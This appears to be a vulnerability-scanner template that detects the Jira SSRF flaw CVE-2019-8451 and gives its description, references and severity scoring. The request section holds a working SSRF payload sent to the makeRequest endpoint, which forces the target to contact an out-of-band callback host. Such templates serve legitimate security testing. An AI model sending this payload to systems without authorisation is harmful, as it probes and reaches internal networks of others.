id: CVE-2019-8451

info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
  author: TechbrunchFR
  severity: medium
  description: The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.
  reference:
    - https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
    - https://jira.atlassian.com/browse/JRASERVER-69793
    - https://hackerone.com/reports/713900
  tags: cve,cve2019,atlassian,jira,ssrf,oob
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.50
    cve-id: CVE-2019-8451
    cwe-id: CWE-918

requests:
  - method: POST
    path:
      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'

    body: |
      url=https://{{Hostname}}:443@{{interactsh-url}}

    headers:
      X-Atlassian-Token: no-check
      Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http" # Confirms the HTTP Interaction